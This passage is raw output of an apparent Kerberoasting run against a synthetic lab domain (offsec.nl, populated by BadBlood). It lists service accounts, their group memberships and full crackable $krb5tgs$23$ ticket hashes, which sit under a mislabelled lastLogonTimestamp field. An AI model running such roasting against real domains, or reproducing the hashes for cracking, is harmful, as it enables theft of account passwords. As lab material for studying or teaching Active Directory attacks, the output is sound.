07C22A6E6735DC4AEBD45C9D699B3B16E8C0A3AA6903A50AA40F61AD5B391AC7B020D2A7B736385AE6C056C4150CD372FDBCD3A9B09CC112D9FB132C2EC6DBCA44E8378DB457269A7A0378FDA616C3D8C2A3BD65E1757FC44FC33F80A953EC943DEA2767D594F070ED71CD5B1A07986FA9DFF0D099D078184E73A159D432DCE4A22E082D95AC1B6013414DBDD255A9E5165331A4234F80CD29281D067574D9E7E4DC0583A9AD9D30B292EB3E5F4832751918ABA111C86AE1712014B2D0097AA083681118DD3B770D2AB9DDA9576E79B648107F6E49943339D9A67A6B7C76E130EC82EE635B508854C104D09FC71D4777DAF3E85DEA7F45853DD7DBA1AE037BD24B7E935971817C3BB093409AAB625AE3BD8CCD2AB76E3A5406B42723557923026D7154A9AA9171AB10D7261A7C54BC9C6156193AC2B0A44C44BA14A4F60041303A5F11C1CE013F27ADF1C1FC4757D3F578CC Searching for Kerberoastable Users - Details for User 'ELISE_BENDER': sAMAccountName : ELISE_BENDER userPrincipalName : ELISE_BENDER@offsec.nl distinguishedName : CN=ELISE_BENDER,OU=ServiceAccounts,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2551 userAccountControl : NORMAL_ACCOUNT memberOf : CN=TA-mis-admingroup1,OU=Tier 1,DC=offsec,DC=nl CN=JE-1.0152E11-distlist1,OU=Devices,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=LE-soloparat-distlist1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=AU-cla-distlist1,OU=Groups,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=TI-sudivino1-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=LO-24Augusto-distlist1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=KA-rea-admingroup1,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=RA-cuteypie9-distlist1,OU=Test,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=OM-j47-admingroup1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:37 AM lastLogonTimestamp : $krb5tgs$23$*ELISE_BENDER$offsec.nl$MSSQL/GOOWVIR1000000*$6A8FDE32213CF0AD01884A5F2DE3683B$3634522012CE58C170FF44BA467AD915C5D471E03C0C8CF69597B6834D1577B301D90ADA5832C352E3763720B355F38B1027AC62DBD721CB4D1F4D90B37C3AD5C405953871A9AA3D8F88056A12AD60A4F0393A24BC4CE060ECAD607DDB72E0A21A830B6FBE67F3E2A85B0C306667FBAD655853916809356A5E3373F5808C68CC9E300D7695B23D14CDDBEC0FDE8128EEB6D0F947CADFB3E31F8170605C613F263D86E56BA7BDA0297D46413AE524A3EF8ED77BC7C9CD5F3876986548A431EC7BD91F3B956AB4C2596F5AE68345CAB1F047AAD1FA87D221362F154EB0B199EAB3191BA249CE9760ABE9D0FA150BBBFE33F113F4E01CB24992856A5D5D59DFC6FD530E26BE3A25881BF8F25B57948425C5401FF6E10EBDA42F56C1B44A17F06BE5143ED714953EA5661E848363DA9A3FC3FD025F4E43BD58A9B438FD3C76E0B489842B42BD9BEFEA7892C0750611CD318303654C62CED4C2812CEB5B4C7CBF9E013A18AA1629C46AD4DF13DFD7AC459ADD9CB9EA4F49742BEC88D3B7A260F77881FB7F246CB895EB917E59D38E43806B193F501CD80614F55F393DE4DAED26E31C1E846F7DCAC3ECF44C09A57003683C9E021C533EC2A7CE6B44FA6CF6AD7BC16728A562AE2395790FD493215E378259F70A09A3D9BCAF18D2B36AE6C2BA46A7C5C923850CB856ED396AE62E3A517836E498ECBD721ACC001B636749E90318B6F0AEDD48D6C1616F6422138E17839A06BB6A7BBBCFE35298818D2BDC45925C51D3B836542F3CCA35779C914A385615FA6FEA479592482FE9E29D1FA13747D3C83AD572AB66F924321CA172F9B19A6318ABEA7D818CE61A8D2090A7C09767A2132D152B4E6A5E148DB31290E1A80C04C9780ABDD1F6740EEE9FDEC53CA628BB4313BBDCF6B1887D498DBF58E83646C651A54C5D4629B171BC69821838436A554DE886B81DACFEC97957B0E1A7929A4BD0ACDACF8730CFC22CE1E41D86FE9A7F53706A7A55AD7DF5C9D40FB9933382A83AB8922EF134038EE550A177E1521D07AD9528FB8C4128C0730B6FBAACEE2E491B8C9E1ADE8C813AAF724432270DB44DFCB2FEC9D8971BD762E8F805623962C28C4CDF25F49EF31BA47A91F366343A8E75B166FFAD0F92FE4EF52BA35C8BE75CF4874E2C631DF344272753B499931505D9D4C1FD60FF9B5EE9B4C4EF9267441F19313A2E5E6CAA5DDA064DB6E0F66963B3D97950C400F2B76169C27EFDDB0881EC765C98E7E41AF4CE5535BE8FBAAB94D6DC8411E02F79EA6E4450788984DCF0564C099E28E501BACA615978614F0E96E8A137F7F9BB288E0C6729EB7FEA87CA2D4F0BE2FCA7221CE823D4F1B34897F7A999D5CE5C44548FEC7807BCDA884B8DBF092049AB36E9EB3AF54E1DE8575FD3ADF9D3E17B067A05D163899ACF01020133572C94 Searching for Kerberoastable Users - Details for User 'CAITLIN_ZIMMERMAN': sAMAccountName : CAITLIN_ZIMMERMAN userPrincipalName : CAITLIN_ZIMMERMAN@offsec.nl distinguishedName : CN=CAITLIN_ZIMMERMAN,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2868 userAccountControl : NORMAL_ACCOUNT memberOf : pwdLastSet : 2/5/2022 10:05:50 AM lastLogonTimestamp : $krb5tgs$23$*CAITLIN_ZIMMERMAN$offsec.nl$MSSQL/HREWWKS1000000*$04AFC4336CA2E288B96A65C920D39BDF$C257408A030A0E2C80EF0C338785CE653EA2948050D14F67A59735130DE94CBD14FC61A07D70C53FD2E866C4F9DDAFD6778F74FEB0857CC0CBBC2432375F0A49B97D622D75D448FAF9211D5B8DE7D73D233CB36D208BEBB860A80E75B994962C4A604B9FCD516D00AE70E09FDB4B053DF8F07E970B529C7837B927ABA298A25F2C471E0F64AC22154224677FA9F179F7B17628640B1732B6CC7601584E86CE8264B661254BD2820689D534E314A13A28154C4082E649F0B97D683B2948B7DEB4F5838654E31FCB36C49BED0C324629C0C43199B365E0289C415D2567F8EF328C8DC353ADE2E3611B2843A8467354725A7A410BA736655099AC192BCFA59AB72A4E670C6007E9E0E48F43F48BD03C05C4ABA38C15FB72DAD9C380285A40494D945901D39003432462CD5421D3D5EAD010583DB48FCCC018FBF75C84737DD0523C5FECEE8774689F82BE607C4F9ED251C5F5325E49083E203BC886154529AB51C286B246FDBFB386A433F3D7D9089B633BE6E74F520DDA8C4AD62BC473E3AD148201609535A2462E5D9C6B63CB322F257453AE7C890904B7AFC983E71FF4E1DD3A29062F7B2E708493D20577A5A36EE9212C9AED60140363103EABC68EEFB009304A12C6C2639E6FBEAE28DD04834F5D91CF96FF81AE7872C5FB9221E2397B4F8616AD3761CD11A28D14A340321F584D0FA2C8D98BC8C81F8B25E8E5F0FAE942EE92342046703A3DA388A674E11A4221BAF75916D945098872B4C3A7D1D220559A32FF5AD5112E04B208084E512A0A2E57C6D08BAAEFC56261CC596C384490CF32DDC893AE7924EE7C436C97843ED078D299D9BEC5AB07954B0FBBE391D5C6A6234D85CB54DD25B241DD614B9758752F70590F63721085D9F068C6B070828F29916C45C1BC478782672844B5EC66182429E5F4D26DF65348A945728EBB029E0610BF41560193FF50BC07D0BFC2587DCD86A3EA2468710E3BBECF4F26027C5C1FFBCBDF0D1A9CDFA29DC3B17BD0FA56D93DD12DB9C03F648F7F299FB79EEBEEE5BBE139DA213C78D38E68C4BBD876E93B3DD83C2476EA92B448043FCD63E555A8F60E0DD4AA834FD8A4511E3E10563DE50452B31240920C48ADE133FA515AAAFC3978BA0F33D8AF1FDE8A6075025B31088E4FA413DB6350CB002069F19FDB31D821053459EA740606D52AED6CBC1E0DD728F2997A0ED1493B6E4760AAEB1153B1622EF49DFDBA5A0EB22829F348694865E18AF01E8B7B4422AB014C7ABE4E7728955F7204C61E9BC4339652B2B2514BE859DD368682971A50095A14F40ADEFD06992A7765D8C5C0B571964444869F580B7287AC48BF0D1710DD00AE5D56DFE935A01598B6FC3A73336A7AB112AA80B17D183606B57D88A39F986AAF5C7C21B45D4B87A634FB50B6BD9A87A178F5B5124913B6A8 Searching for Kerberoastable Users - Details for User 'CHARLES_POOLE': sAMAccountName : CHARLES_POOLE userPrincipalName : CHARLES_POOLE@offsec.nl distinguishedName : CN=CHARLES_POOLE,OU=Test,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1260 userAccountControl : NORMAL_ACCOUNT memberOf : CN=JO-173173173-admingroup1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=IR-alpinista-admingroup1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=BE-crounou17-admingroup1,OU=Tier 1,DC=offsec,DC=nl CN=JA-Mygoodnes-distlist1,OU=FIN,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:38 AM lastLogonTimestamp : $krb5tgs$23$*CHARLES_POOLE$offsec.nl$MSSQL/OGCWWKS1000000*$56DF642664377109211E0536F7D43269$D3D9A6057B3218111AFA67417043EDB004428B6A6CBD2D1CFA397757314D4C0ACA68E1D06F56BB8C301EEC979C58277E7AC398DA1EC220BA7AA05F7F7897677A16F1F55EC3872D4F0088DA6DC99C1026312EE2953EDB06D7B4055BF00900BDC598D924B7CB8379FAE2E432D5C0099108BCD0E4A9E7E1A6FDA55C610D37DF32C31E2A6C00F2172C944F91AF5369D8BC4E0C732E5148B1A6D49F62925703123D8BD5F4D611A19B4E202634A167DC76254F15D676786CA9E569324883968CAA67AD814B61D9961180E5B4CB9DFCF3998A965321466A02396683AD775E00CE74CC048B1A11C67A749745BCE4DF568945448EB6E3E353BEF6781E6B3588347814B8429BDF16E9E8F3F2C536B7C14825DF72D144F6D41C6F6EF1EEBA075F1CA35985DC9E9FC39A3D3C73EF1F1C07FF9E9CDEF70929DA60434215F2F3A21BF4D10E804907C22C9F0BD54DF7C4E001A44B88B200A9F5F0FBD1665D32C8A0069BBEF8C91771B568C81D5C1E452A2D0C37D96350E7F2D8D159F1EFED1B4160796FB20AA5623672DC2595552317C35ED400DE6C4B65BA03F2606C6250CC6675A607C2BE670EE34836F9419B11251C3F262B8A58E2E877372A432310F46FBE4223FB326A3C1A4C3ABED3511DCED64CE1E627CBE246D773E9CEEF5CE0920A99B63DC7A898BE5530523C1A7D37E8B97DAED2B7390BB0ACBC5595135AA7E3A605A89754B7D947244E7E82D15E26C61CBCF48C8D36B1B92EF62A10BC33C18618A5DF0180CEBA0FAFA8C91A8789CD58569499F2427A0F4E5842E0B01AD0A03D09CEF9670FCDA873929C5E292BD09ADC14B6EE9E9C3E1038A091B4644A63C99ADA69CB2FD2BEC48B1A7022E14701F845B0ECCC2001FFB032730CA092A95939728C73CDE6E62D480243DD06B7C02A859127477CFBF547DFD120CDAE536F4CF38A46663D1C3EF0DF6975946131770A236120956A57836502F6939D1DBA5742A0BBFB472A30FD8C4F8BCE9E3A4AE2D54F4DC18BE112C56C81B7F4256B00B7A694DEA39B70CAEB23CA4F5BDC5AC27EF7E4D34DD9DAD6A8B5E71696DEC7B852F62849634D699C965FC140D0BE91DA1CF1832420D6B1B74F91165A45A931A92B3E381C60687D84E0E12A4F7CA644A6E2BE0723364EA17BE578A27D0F10E47B3870E507888CD204E07A66A6D136D3D574DB3C44FDAF3D8AFBB48B6060435D983419DAF69B5608EFC5FF20D74516969AAA35E7A29A6297292CDD2466607D893633E4603DBEDDA81F2ED7897DEA768A96335F8DCB67488AD9B74C8DC50D536897078838E54C5F6B31854BC0BC2D72C72573F83986508B44E13B46F0D065375E762FF4E53A8D94B3DB40CED83436905D0BB12F85AC58D17B572281B004102024D559CA20D376C2A9435EF906758A06A0A22922F5F444776D0FC25260225B7BB5 Searching for Kerberoastable Users - Details for User 'GENA_FLYNN': sAMAccountName : GENA_FLYNN userPrincipalName : GENA_FLYNN@offsec.nl distinguishedName : CN=GENA_FLYNN,OU=Groups,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1206 userAccountControl : NORMAL_ACCOUNT memberOf : CN=VI-050-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=NE-bonifacia-distlist1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=CH-imagendig-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=MA-446-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=JE-chuchito1-distlist1,OU=Groups,OU=AZR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:26 AM lastLogonTimestamp : $krb5tgs$23$*GENA_FLYNN$offsec.nl$MSSQL/SECWLPT1000000*$CFF19EE001CE816F334D559A22315AAA$4A16B87A7D009E9EBBC5DEDD8717746AB0C915112A3C1A90673653E88B3D6B224C6F0904411D90608767E6DB783976A3730792149B50325FEA79ACB6EF11E0D4F28059E8B2B15BE59738A7AA8F807482C28399C56ADB67E2AD02E06E6B5D90FEC97FA207D206840D8DC95D126E07A64AF3AC61D261E7B7C9A5935120372ED1F1F8B35A7C9F79E270853B75DF440711FABF8EB8466EB5E3D46253F22EFF94071A3E3472A53F8176A0C1BDA01A25F73D6D5CA392D419411DAB6111EFEFB92E3B23BA786F3E630DEE834ACC37E0CF6B1899E6CFFCD97FB9F947B0C85F0B1CD10C750FA9C24B9A66ACE656CB1C7376EDED3B2D62390AE6805E28F1917A3EA6F9DFB962DA07D36CD5EF15C9878F11F383CBF1E4CB422D4E9FC154C9100DAE0B161C028534F565E0F4660613A97B7A393C0B521466E7B258B8E1E713EBD8B2EE38D8768A30FCDA8A60F17E0C41CA840551AD0212E3A215A4D67CBB256842FD781FFC0CB74F5689D69E157DB0DAB3FB1297C4A43F631E4F3061EA01D7368AD9DD8282EE5ED943DBB04F64515CA043C7DFF62BEB53FA3520C1FC9330ADB9B94B233B09A81BDF223467AFD339DD5BC7D44437D0B13C8291F6286F4DECAD5C1A19B80EC31891A3845E514792509E5D3D7619DB49A1681BF828AF5078ED050292485B894F25730279D4C64A8EE38244538FFB8BC93438FAF66DB1C6139AE7113F458D2CFE8DA2F3B45B7B4E716DEC0F887BA1A7D5926550EC244CC01B26F92267EE54898296E11BB3A295756172A3827E1D0111F64C80E3F027FC90FFAF62335285F64BC606D41272F8F04C7B6560CFA818409A7E05289CA4D20D3C3F044725F05F91F1B381506C080DA91D6851DD48F8182E79640016627CBB69F01C6FBABF0A612FC39AC9F436C0BD01953981FDEBEADE7EF6105573B4781723154C9FE7A543425733D8D3F65920DAC0330CB29C34C39B04237A7E70DCF10E51766008EBE2D1F16CA25D55DB0918CA98E795E9A1D5BE57C3BC9412830601BA358831E3059B5226810DB1A5566ED536F82F96901E0458E1B9E59AEB7579DEEB7CF232340EE5BA7CC0837C61639840CD373C1F31941A243B5AAFF138B080F9B44889BFF1CCCAAC814BB23CA3D0D53FC75AD23A41E9A678128411829F00B3A0CC27EFB3B8FBB8FFD0CC7771E8687B3F7BE7D938830C299908443D4101DC4287C515CBF88B70FA8E15A11175F50B5EBEDC6449757E674CA8E7B0A4F5D6779140E68074EB04F73DB2851178F7E732D9757BE6964C69927CB34FE2C7EACC1935C6D0493F1972146A7A233988D758DE3A5D0452BD8D9CD434092A6AD4C9D41AF198609163D970DCD0C3FD1C2EDC608FC782BB088106BEA145956A13431B4A4DDC444BAE1440D7538A2F73D2E93EE785C7438D128E00896C4E324310233243A2B9 Searching for Kerberoastable Users - Details for User 'RACHELLE_EATON': sAMAccountName : RACHELLE_EATON userPrincipalName : RACHELLE_EATON@offsec.nl distinguishedName : CN=RACHELLE_EATON,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1496 userAccountControl : NORMAL_ACCOUNT memberOf : pwdLastSet : 2/5/2022 10:00:33 AM lastLogonTimestamp : $krb5tgs$23$*RACHELLE_EATON$offsec.nl$MSSQL/SRV2019*$80011B26F1EAB278E6A2DFEF920FDCEB$6C91D375CB965D52AF8F8A0AE306AB836E150DBF1774323F331094EE9B93B66BAD49FB724D9996A5A10D7B493DA899845AD0AFB83ECAF662602A93F28CBB38037848C124DA3DAB7204A2BE5B3F832CBCE3D17019F788CA8829572084F5148A3C23D0FF4DE2F09DD11421DCF79B7FA6480BE100AB4968CE75DC851E32F96F6355E1622732D55F551F752E225FA4184EC31C2DC372C81C1C1DFEFE605045C23EB04203E105947E697981FF09C1BD8382C2B9C3EE966DD562E27B73AC2ADF67B49A1D15E5CEC92BE25FB963E30A5A01E15CE8C1A0E7B500F362EE4C3E82E72A9C1197D5E992CD95357C9FB9E99C5C008DA59220FE6BD9A8A71F732C4FDC970499B1E8697491BCDE09049BB2E08F7D14335098D3354FD8052AB9E19C25D657FE247E80BB3B6C4C7EBD0EE4BFCF201496B8CE53114C5675B7C03E910E8E611623D39D7E611403E8A129B38C0E4A85E2F178C6B969D38029D9AC4616AF1081F774F0B2EA14B08BD6833E37452C9B95F0F955DB05A5CD883C7217D4058DBD71677E735CF44646913B698BED18DEFBC205C76FE641BCFA6F2A621A498892DF3B2DB4586333CD08DA84AD5BF79144EF2DED147D32657C201D1A93B0D4C80511A24E78565AEB853F01534B2C7FFC7D4A27FDB98745A17D9F0C3712B8457F411130EF0F5357DF018D2ADF80E2FEA64FAD648BD619703BAD806A6C0289FB5A839251FC85145170F798CA59BD52AE93EC5CC2BE45C7FB0A3033D6144B9C7BAB5A0B7EFE30A50FB186940C83C609E7FC2367170B6EFF4834E0190F00106FCAD37AC1E8688373484C03964331B0A3D3704E8E004CF3F22B83A550EAF2E795F8EEFECEC0A7CAFD969B485FC7F5F911510353A5A53C0F7C7E7F284A852A7944DEE4990AAF1183FA4DBFD4CE66D2A8E13791CA4320BBF983A7EBF78A14913C776CA21A309AF93069D826578C8C21370828015DFD9633FD935852FC18F1C7154B7645D536A415E178DDEDF73F787B7B926E4F1EB4448D43D29EC834866EFFF2393DC6B5A563B92F840329C8A50F46ABEB89ABE17223B777E79F77995CB90F16D708AEE8B006E4360D89BD1081F1069D547D34EF6CA531FB048105BED820C1EC9BD73D0A439E236D6C11306DDDECF720F3579D111128B3E1CDC04C77C76C92B52AA053F432A44D311065933698471EF7EC9FC51529DFB16621B0432C04156040D7941A6FCA5247325B684A447D7DDCB38F2D0F61DE71C67A0223D25C470B6DCBABC7F3CB42D274E228F6F4B5A39B67C8E80976E4B32574E6A0A91BE2DDBB609B6E2AC8FCCD26478F8E9FB4FCE47E1F22FA9219F06C5BAF8BCFF2494769BE7F89E035CCF57611BE78CF7563E3C76D7F1AF18DF6921717D1796859F82AFFB55727F6C4F48BFD0ACF2FF23561E89E64C552893E58E3CE943773034E9FF8 Searching for Kerberoastable Users - Details for User 'ABEL_BRIGGS': sAMAccountName : ABEL_BRIGGS userPrincipalName : ABEL_BRIGGS@offsec.nl distinguishedName : CN=ABEL_BRIGGS,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1262 userAccountControl : NORMAL_ACCOUNT memberOf : CN=JU-lim0nl0v3-admingroup1,OU=Groups,OU=OGC,OU=Stage,DC=offsec,DC=nl CN=VA-t0011119d-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=KA-126-admingroup1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=JE-262707209-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=RO-conquet78-admingroup1,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=OF-123-distlist1,OU=ServiceAccounts,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=CH-imagendig-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=GL-486-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=CO-264-admingroup1,OU=ServiceAccounts,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=RO-sexpistol-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=ER-kimberley-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:39 AM lastLogonTimestamp : $krb5tgs$23$*ABEL_BRIGGS$offsec.nl$MSSQL/TSTWWEBS1000001*$F209AE87E50B4A36F7EB96365411FBBF$F740CFCE0EBC79F9CA5B8649FDD966CB54C9F5F5707C29FF6651E97C8BDD6F345C27DB478F5E46A273CD44787965CACEC21412C0E7F4F6DDD90CB57CA497A036C7176559A5DE17628B0FD92D5ACB9386CF79A268FFAC69CE3AF1B23D2823177374D42DFAD83E754CEEEEA352337865FBA4E10999052167515C96E013828E035726C13B924FB8E79917467F3021BE8C30401D72D2EDB5AFD06D056EE8937CB77B07951313A46E5F13378F1AA5E09A27CE07AE38F3AC7CB2821A65E051F52A14394B903C8BB74026E28DB3E39345F6BFA9A87CE5BF06685ECE95DD3A5B0EFA233350B9A4680DF3F932128E9A9C87111122BDF9F342349E7044CE22496DD8E2ED2D82C0642A1786098164825B4217F015323A2DE34BCC358117CC94E12513B3B8B92160CE964E54021BE9E40ECEED4B8B7DDCEC7E36D585FE0E5F7D5CF8797946660884B482DEA27C042DF5CFAFA4BDF4078482EEE6E74FF4A41061D2A85CC5F8D134FC0EF9DA1E3CF156B3E3AB2FAD54775092F41D7BC8436481B42A3E12AED9FE7DACEC07D69E77D18DD71AFC54CC36061E06DE09AFF3277627C78ABD8801B931A6FC1132C23CE031A90CB444B2074EFB4676AD8287EA7F06E356424AF04C61B6B7DCC8A394ACC17F4EA19C6DD2C4F58AF301846BA56C05D3BE994E876C766C2A31F0421338C76F4F58C83D645129FBFFBB69381A92EA49CE770A4F8B7C099A0E90D69313B288ADA1DF1BB30A3CFBAACE61504C219D5F3BCDB20EA909903FB2AD977BF2C29E670BFD8ED975814A3EC0955EBAE76EC95AB9A8039E936F066D68BA08C6722C4A7575D0DF0CB033CDEA984E593EFD71D11E2DE297DFBA0F6E8641E674D4975009744AF1DC52420F517864B01BA2D608949DAEBC7EA539293871D732E3C3296EED3E7B877F369589C52C7CFF36D9058348BF4404732935E12B2AD4729CD61AFB2ECE96420CB633045A8C54A0544668F62FFFD9CAA47E274ED5B3E8AFBDFC97424ACF5E4413BFEE870653521BEA43F88B6EF07316A730BB82B297A627B89145E73436FFDD9B51A29A0B7CB407D156480ED295944E7F62BE4E8ED5C795FAF8C48A72BD0647F48AC5388EBB74BC630933252A2FF9BBF4EA920966F856E005E7994C098F00D5788D8DB8F78AC36D1765BC08EFECA30D1827C8952AC3C7E765E84B795F73227660122F451FB7E48AF61FCDA4AF89A78773FBAEB42FFA2B4146184243562539CB8C57E593E107B8BE65BF7CA12B545B5E997BD0B88CD3BEBBF28BDF3F5BA0678526662015C46B472EB3861CA15C40E4FF7A0126F1E50790D5103CD76264AE7C047B70E3AA8888B213BC38A1E43CD814DF42F1E27AFFAB10D2022BAA691C79AD520E9A288D208F5AA34451450612B300DB9642EEF9573758FEEFB0D12073BCFA33987B3BF530BE01B35D0B Searching for Kerberoastable Users - Details for User 'HOPE_FARMER': sAMAccountName : HOPE_FARMER userPrincipalName : HOPE_FARMER@offsec.nl distinguishedName : CN=HOPE_FARMER,OU=FIN,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2901 userAccountControl : NORMAL_ACCOUNT memberOf : CN=BE-cho-distlist1,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl CN=OF-123-distlist1,OU=ServiceAccounts,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=SH-moh-distlist1,OU=ServiceAccounts,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=LY-tet-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=AI-jfsa44341-distlist1,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:58 AM lastLogonTimestamp : $krb5tgs$23$*HOPE_FARMER$offsec.nl$POP3/AWSWLPT1000000*$898099874A9BFDB242C6D28EB42A9148$C20FA4D7766768C49D39A96D9F102E9E30E43E5006A0208BBC15D2676B5AB54950894C069AAE1C82ABC0BA6020F65976B724661F7C974D65E0A1A2D587BE9D04E8071C10678CC8CECB407BAD37EDCA487D0F45E9697C423296BDE6ABF62152E343FEA297C1E4F91E0B94F947F934F3D44B6C1EB7D27FAFD30F47D7DFE9A5EF689DE8337F5E447FC221BF6F3B5F9A0B675652DE9101931B2805306FEB8D254AF1E5E7776F03268BE317ABEFAF5EF769C5E6EC160A59147B4908623DF795434A90205FA103E88D7FB83DBEFFFADF73967CA988BBDA1342CE2259207801FE70EA41E9EB284FBD3DEB39273297609BA762FB15C9ADA1A8141C950B215946E2DD3B937B6EDA6341415ECE878A4A34D9BE329926DF3D7D962D8FDF4A12B5FE2ED30FDAE91D79894974BFF59C8E724721B2CC762B30D6AD737BFFBD005749B31752173AC8C4886A39E49134A666510B115DA8412F2733A27741F075428D8B44AAFE7D96406B6F9ACADC4F6BAE0E56E772D73077A5E88E89AC308385E66824BE41EFAF5F35B23ED257294664049B39087A5609D72C79B613D4342F40CD38BA5D59B7EA8A4C457181F7D33367CC796DDB088AF58AFC001F8B6B47EA88D97BE2AD38D7D3F6CABAF04D2DFDFEC64FC46695DE34CBB4189DE404556147A62F4F2F5DA225F7CEB968244BFE415DEF1EDA8D08F2CD634085E9E945BF95BF2D13E70E265B3DA021D2D2ABFCDB2C6EF1231DD14187ACDDF7C1C6EFDFC604B951430D4B4473EB09BEC38914532F0611CDDFCC7624015A45986FE131C840607B47A1A69F69F9E03EF3D206F50F5758FEE25B26C2BCE7637FD96B0C0E4FEC89E33A5516E4D02D16E7E851B50C906F4484418B907C742AE9EC7708EB1FF23941516BA836D76CF99C87B3564ED506B51832A7C3552FE095A6A042BA34C8CE3E1BED29BA7179A762B5CDF7732415D90319267CD203DB3AA581869A54295A0847A0400C54CB4028F3C4603A59F32C7EC05EA03FA3C7E97AA4C316B1A434C3854F4C86C595CD6B18D59E8AA5EE839E24364CE0847E8584FB6C74E97549943092C19E84316849F463AA19F10FA9F57C2DD2060097E9E8618C49794F763F559618184D8EF79CCB93A1D127C17C1BD2118CFB5F657B3A1E2BCBF210D5228B224E1F9652B4EE8BEA3BFFF0DDD27C2E78A73C47ACD41A8ABBBA8EEA1C4967CB1C6002142B2285E9EEF708244CC97695D2A08DDACAA3D501FF78F33A35E617CAB168969CB884C3E1DDDEDFB0F40D8163A18C2288DB12BD9E6DA8612A138790780FB9B32CB105A54BB9A5C471560DBE9A7B345B7760A965F7BEC6160073C632CF1F12FCDECBD656BCF90E516CA0062282913AE8951DA0BDBFCA7713E42A41E1385437CA7EB88A226EF77FC92B7158AC902F6AB8C810F3D23C71A70F56081A1E9D90 Searching for Kerberoastable Users - Details for User 'DOMINIQUE_HARRINGTON': sAMAccountName : DOMINIQUE_HARRINGTON userPrincipalName : DOMINIQUE_HARRINGTON@offsec.nl distinguishedName : CN=DOMINIQUE_HARRINGTON,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2413 userAccountControl : NORMAL_ACCOUNT memberOf : CN=CO-mer-admingroup1,OU=Devices,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=SH-a3706723z-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=CL-est-admingroup1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=BR-14jerusal-distlist1,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=SO-al6-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=JA-aur-distlist1,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=GE-rey-distlist1,OU=T2-Accounts,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=WI-AME-distlist1,OU=Devices,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=25-270-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:05 AM lastLogonTimestamp : 